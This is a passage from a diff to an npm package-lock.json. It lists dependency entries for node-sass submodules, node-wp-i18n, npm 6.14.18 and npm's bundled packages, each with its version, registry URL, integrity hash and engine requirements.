"0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/node-sass/node_modules/nan": { + "version": "2.14.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz", + "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==", + "dev": true + }, + "node_modules/node-sass/node_modules/node-gyp": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", + "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", + "dev": true, + "dependencies": { + "fstream": "^1.0.0", + "glob": "^7.0.3", + "graceful-fs": "^4.1.2", + "mkdirp": "^0.5.0", + "nopt": "2 || 3", + "npmlog": "0 || 1 || 2 || 3 || 4", + "osenv": "0", + "request": "^2.87.0", + "rimraf": "2", + "semver": "~5.3.0", + "tar": "^2.0.0", + "which": "1" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/node-sass/node_modules/oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/node-sass/node_modules/qs": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/node-sass/node_modules/request": { + "version": "2.88.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", + "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", + "dev": true, + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.0", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.4.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/node-sass/node_modules/safe-buffer": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", + "dev": true + }, + "node_modules/node-sass/node_modules/semver": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", + "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/node-sass/node_modules/uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "dev": true, + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/node-stream-zip": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/node-stream-zip/-/node-stream-zip-1.15.0.tgz", + "integrity": "sha512-LN4fydt9TqhZhThkZIVQnF9cwjU3qmUH9h78Mx/K7d3VvfRqqwthLwJEUOEL0QPZ0XQmNN7be5Ggit5+4dq3Bw==", + "peer": true, + "engines": { + "node": ">=0.12.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/antelle" + } + }, + "node_modules/node-wp-i18n": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/node-wp-i18n/-/node-wp-i18n-1.2.0.tgz", + "integrity": "sha512-HsvI4yYt+bZ1G92Sb4YmAz2xoC7t/YWct/OPa33ZczjLrRpp7R9Wj7vp1gq2bcrCI2U7MX8Kuw0Iy7AwEPohdA==", + "dev": true, + "dependencies": { + "bluebird": "^3.4.1", + "gettext-parser": "^1.2.0", + "glob": "^7.0.5", + "lodash": "^4.14.2", + "minimist": "^1.2.0", + "mkdirp": "^0.5.1", + "tmp": "^0.0.33" + }, + "bin": { + "wpi18n": "bin/wpi18n" + } + }, + "node_modules/noop-logger": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/noop-logger/-/noop-logger-0.1.1.tgz", + "integrity": "sha1-lKKxYzxPExdVMAfYlm/Q6EG2pMI=", + "dev": true, + "optional": true + }, + "node_modules/nopt": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", + "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", + "dev": true, + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + } + }, + "node_modules/normalize-package-data": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", + "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", + "dev": true, + "dependencies": { + "hosted-git-info": "^2.1.4", + "is-builtin-module": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "dependencies": { + "remove-trailing-separator": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-1.9.1.tgz", + "integrity": "sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=", + "dev": true, + "dependencies": { + "object-assign": "^4.0.1", + "prepend-http": "^1.0.0", + "query-string": "^4.1.0", + "sort-keys": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm": { + "version": "6.14.18", + "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.18.tgz", + "integrity": "sha512-p3SjqSchSuNQUqbJBgwdv0L3O6bKkaSfQrQzJsskNpNKLg0g37c5xTXFV0SqTlX9GWvoGxBELVJMRWq0J8oaLA==", + "bundleDependencies": [ + "abbrev", + "ansicolors", + "ansistyles", + "aproba", + "archy", + "bin-links", + "bluebird", + "byte-size", + "cacache", + "call-limit", + "chownr", + "ci-info", + "cli-columns", + "cli-table3", + "cmd-shim", + "columnify", + "config-chain", + "debuglog", + "detect-indent", + "detect-newline", + "dezalgo", + "editor", + "figgy-pudding", + "find-npm-prefix", + "fs-vacuum", + "fs-write-stream-atomic", + "gentle-fs", + "glob", + "graceful-fs", + "has-unicode", + "hosted-git-info", + "iferr", + "imurmurhash", + "infer-owner", + "inflight", + "inherits", + "ini", + "init-package-json", + "is-cidr", + "json-parse-better-errors", + "JSONStream", + "lazy-property", + "libcipm", + "libnpm", + "libnpmaccess", + "libnpmhook", + "libnpmorg", + "libnpmsearch", + "libnpmteam", + "libnpx", + "lock-verify", + "lockfile", + "lodash._baseindexof", + "lodash._baseuniq", + "lodash._bindcallback", + "lodash._cacheindexof", + "lodash._createcache", + "lodash._getnative", + "lodash.clonedeep", + "lodash.restparam", + "lodash.union", + "lodash.uniq", + "lodash.without", + "lru-cache", + "meant", + "mississippi", + "mkdirp", + "move-concurrently", + "node-gyp", + "nopt", + "normalize-package-data", + "npm-audit-report", + "npm-cache-filename", + "npm-install-checks", + "npm-lifecycle", + "npm-package-arg", + "npm-packlist", + "npm-pick-manifest", + "npm-profile", + "npm-registry-fetch", + "npm-user-validate", + "npmlog", + "once", + "opener", + "osenv", + "pacote", + "path-is-inside", + "promise-inflight", + "qrcode-terminal", + "query-string", + "qw", + "read-cmd-shim", + "read-installed", + "read-package-json", + "read-package-tree", + "read", + "readable-stream", + "readdir-scoped-modules", + "request", + "retry", + "rimraf", + "safe-buffer", + "semver", + "sha", + "slide", + "sorted-object", + "sorted-union-stream", + "ssri", + "stringify-package", + "tar", + "text-table", + "tiny-relative-date", + "uid-number", + "umask", + "unique-filename", + "unpipe", + "update-notifier", + "uuid", + "validate-npm-package-license", + "validate-npm-package-name", + "which", + "worker-farm", + "write-file-atomic" + ], + "dev": true, + "dependencies": { + "abbrev": "~1.1.1", + "ansicolors": "~0.3.2", + "ansistyles": "~0.1.3", + "aproba": "^2.0.0", + "archy": "~1.0.0", + "bin-links": "^1.1.8", + "bluebird": "^3.7.2", + "byte-size": "^5.0.1", + "cacache": "^12.0.4", + "call-limit": "^1.1.1", + "chownr": "^1.1.4", + "ci-info": "^2.0.0", + "cli-columns": "^3.1.2", + "cli-table3": "^0.5.1", + "cmd-shim": "^3.0.3", + "columnify": "~1.5.4", + "config-chain": "^1.1.13", + "debuglog": "*", + "detect-indent": "~5.0.0", + "detect-newline": "^2.1.0", + "dezalgo": "^1.0.4", + "editor": "~1.0.0", + "figgy-pudding": "^3.5.2", + "find-npm-prefix": "^1.0.2", + "fs-vacuum": "~1.2.10", + "fs-write-stream-atomic": "~1.0.10", + "gentle-fs": "^2.3.1", + "glob": "^7.2.3", + "graceful-fs": "^4.2.10", + "has-unicode": "~2.0.1", + "hosted-git-info": "^2.8.9", + "iferr": "^1.0.2", + "imurmurhash": "*", + "infer-owner": "^1.0.4", + "inflight": "~1.0.6", + "inherits": "^2.0.4", + "ini": "^1.3.8", + "init-package-json": "^1.10.3", + "is-cidr": "^3.1.1", + "json-parse-better-errors": "^1.0.2", + "JSONStream": "^1.3.5", + "lazy-property": "~1.0.0", + "libcipm": "^4.0.8", + "libnpm": "^3.0.1", + "libnpmaccess": "^3.0.2", + "libnpmhook": "^5.0.3", + "libnpmorg": "^1.0.1", + "libnpmsearch": "^2.0.2", + "libnpmteam": "^1.0.2", + "libnpx": "^10.2.4", + "lock-verify": "^2.2.2", + "lockfile": "^1.0.4", + "lodash._baseindexof": "*", + "lodash._baseuniq": "~4.6.0", + "lodash._bindcallback": "*", + "lodash._cacheindexof": "*", + "lodash._createcache": "*", + "lodash._getnative": "*", + "lodash.clonedeep": "~4.5.0", + "lodash.restparam": "*", + "lodash.union": "~4.6.0", + "lodash.uniq": "~4.5.0", + "lodash.without": "~4.4.0", + "lru-cache": "^5.1.1", + "meant": "^1.0.3", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.6", + "move-concurrently": "^1.0.1", + "node-gyp": "^5.1.1", + "nopt": "^4.0.3", + "normalize-package-data": "^2.5.0", + "npm-audit-report": "^1.3.3", + "npm-cache-filename": "~1.0.2", + "npm-install-checks": "^3.0.2", + "npm-lifecycle": "^3.1.5", + "npm-package-arg": "^6.1.1", + "npm-packlist": "^1.4.8", + "npm-pick-manifest": "^3.0.2", + "npm-profile": "^4.0.4", + "npm-registry-fetch": "^4.0.7", + "npm-user-validate": "^1.0.1", + "npmlog": "~4.1.2", + "once": "~1.4.0", + "opener": "^1.5.2", + "osenv": "^0.1.5", + "pacote": "^9.5.12", + "path-is-inside": "~1.0.2", + "promise-inflight": "~1.0.1", + "qrcode-terminal": "^0.12.0", + "query-string": "^6.14.1", + "qw": "^1.0.2", + "read": "~1.0.7", + "read-cmd-shim": "^1.0.5", + "read-installed": "~4.0.3", + "read-package-json": "^2.1.2", + "read-package-tree": "^5.3.1", + "readable-stream": "^3.6.0", + "readdir-scoped-modules": "^1.1.0", + "request": "^2.88.2", + "retry": "^0.12.0", + "rimraf": "^2.7.1", + "safe-buffer": "^5.2.1", + "semver": "^5.7.1", + "sha": "^3.0.0", + "slide": "~1.1.6", + "sorted-object": "~2.0.1", + "sorted-union-stream": "~2.1.3", + "ssri": "^6.0.2", + "stringify-package": "^1.0.1", + "tar": "^4.4.19", + "text-table": "~0.2.0", + "tiny-relative-date": "^1.3.0", + "uid-number": "0.0.6", + "umask": "~1.1.0", + "unique-filename": "^1.1.1", + "unpipe": "~1.0.0", + "update-notifier": "^2.5.0", + "uuid": "^3.4.0", + "validate-npm-package-license": "^3.0.4", + "validate-npm-package-name": "~3.0.0", + "which": "^1.3.1", + "worker-farm": "^1.7.0", + "write-file-atomic": "^2.4.3" + }, + "bin": { + "npm": "bin/npm-cli.js", + "npx": "bin/npx-cli.js" + }, + "engines": { + "node": "6 >=6.2.0 || 8 || >=9.3.0" + } + }, + "node_modules/npm-run-path": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", + "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", + "dependencies": { + "path-key": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/@iarna/cli": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.2", + "signal-exit": "^3.0.2" + } + }, + "node_modules/npm/node_modules/abbrev": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/agent-base": { + "version": "4.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "es6-promisify": "^5.0.0" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/npm/node_modules/agentkeepalive": { + "version": "3.5.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "humanize-ms": "^1.2.1" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/npm/node_modules/ansi-align": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "string-width": "^2.0.0" + } + }, + "node_modules/npm/node_modules/ansi-regex": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ansi-styles": { + "version": "3.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/ansicolors": { + "version": "0.3.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ansistyles": { + "version": "0.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/aproba": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/archy": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/are-we-there-yet": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + } + }, + "node_modules/npm/node_modules/are-we-there-yet/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/are-we-there-yet/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/are-we-there-yet/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/are-we-there-yet/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/asap": { + "version": "2.0.6", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/asn1": { + "version": "0.2.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/npm/node_modules/assert-plus": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/asynckit": { + "version": "0.4.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/aws-sign2": { + "version": "0.7.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/aws4": { + "version": "1.11.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/balanced-match": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/npm/node_modules/bin-links": { + "version": "1.1.8", + "dev": true, + "inBundle": true, + "license": "Artistic-2.0", + "dependencies": { + "bluebird": "^3.5.3", + "cmd-shim": "^3.0.0", + "gentle-fs": "^2.3.0", + "graceful-fs": "^4.1.15", + "npm-normalize-package-bin": "^1.0.0", + "write-file-atomic": "^2.3.0" + } + }, + "node_modules/npm/node_modules/bluebird": { + "version": "3.7.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/boxen": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-align": "^2.0.0", + "camelcase": "^4.0.0", + "chalk": "^2.0.1", + "cli-boxes": "^1.0.0", + "string-width": "^2.0.0", + "term-size": "^1.2.0", + "widest-line": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/brace-expansion": { + "version": "1.1.11", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/npm/node_modules/buffer-from": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/builtins": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/byline": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/byte-size": { + "version": "5.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/npm/node_modules/cacache": { + "version": "12.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "bluebird": "^3.5.5", + "chownr": "^1.1.1", + "figgy-pudding": "^3.5.1", + "glob": "^7.1.4", + "graceful-fs": "^4.1.15", + "infer-owner": "^1.0.3", + "lru-cache": "^5.1.1", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.3", + "ssri": "^6.0.1", + "unique-filename": "^1.1.1", + "y18n": "^4.0.0" + } + }, + "node_modules/npm/node_modules/call-limit": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/camelcase": { + "version": "4.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/capture-stack-trace": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/caseless": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0" + }, + "node_modules/npm/node_modules/chalk": { + "version": "2.4.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/chownr": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/ci-info": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/cidr-regex": { + "version": "2.0.10", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "ip-regex": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/cli-boxes": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/cli-columns": { + "version": "3.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "string-width": "^2.0.0", + "strip-ansi": "^3.0.1" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/npm/node_modules/cli-table3": { + "version": "0.5.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "object-assign": "^4.1.0", + "string-width": "^2.1.1" + }, + "engines": { + "node": ">=6" + }, + "optionalDependencies": { + "colors": "^1.1.2" + } + }, + "node_modules/npm/node_modules/cliui": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "node_modules/npm/node_modules/cliui/node_modules/ansi-regex": { + "version": "4.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/cliui/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/cliui/node_modules/string-width": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/cliui/node_modules/strip-ansi": { + "version": "5.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/clone": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/cmd-shim": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2", + "mkdirp": "~0.5.0" + } + }, + "node_modules/npm/node_modules/code-point-at": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/color-convert": { + "version": "1.9.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "color-name": "^1.1.1" + } + }, + "node_modules/npm/node_modules/color-name": { + "version": "1.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/colors": { + "version": "1.3.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/npm/node_modules/columnify": { + "version": "1.5.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "strip-ansi": "^3.0.0", + "wcwidth": "^1.0.0" + } + }, + "node_modules/npm/node_modules/combined-stream": { + "version": "1.0.8", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/npm/node_modules/concat-map": { + "version": "0.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/concat-stream": { + "version": "1.6.2", + "dev": true, + "engines": [ + "node >= 0.8" + ], + "inBundle": true, + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "node_modules/npm/node_modules/concat-stream/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/concat-stream/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/concat-stream/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/concat-stream/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/config-chain": { + "version": "1.1.13", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ini": "^1.3.4", + "proto-list": "~1.2.1" + } + }, + "node_modules/npm/node_modules/configstore": { + "version": "3.1.5", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "dot-prop": "^4.2.1", + "graceful-fs": "^4.1.2", + "make-dir": "^1.0.0", + "unique-string": "^1.0.0", + "write-file-atomic": "^2.0.0", + "xdg-basedir": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/console-control-strings": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/copy-concurrently": { + "version": "1.0.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.1.1", + "fs-write-stream-atomic": "^1.0.8", + "iferr": "^0.1.5", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.0" + } + }, + "node_modules/npm/node_modules/copy-concurrently/node_modules/aproba": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/copy-concurrently/node_modules/iferr": { + "version": "0.1.5", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/core-util-is": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/create-error-class": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "capture-stack-trace": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/cross-spawn": { + "version": "5.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "node_modules/npm/node_modules/cross-spawn/node_modules/lru-cache": { + "version": "4.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/npm/node_modules/cross-spawn/node_modules/yallist": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/crypto-random-string": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/cyclist": { + "version": "0.2.2", + "dev": true, + "inBundle": true + }, + "node_modules/npm/node_modules/dashdash": { + "version": "1.14.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/npm/node_modules/debug": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/npm/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/debuglog": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/decamelize": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + 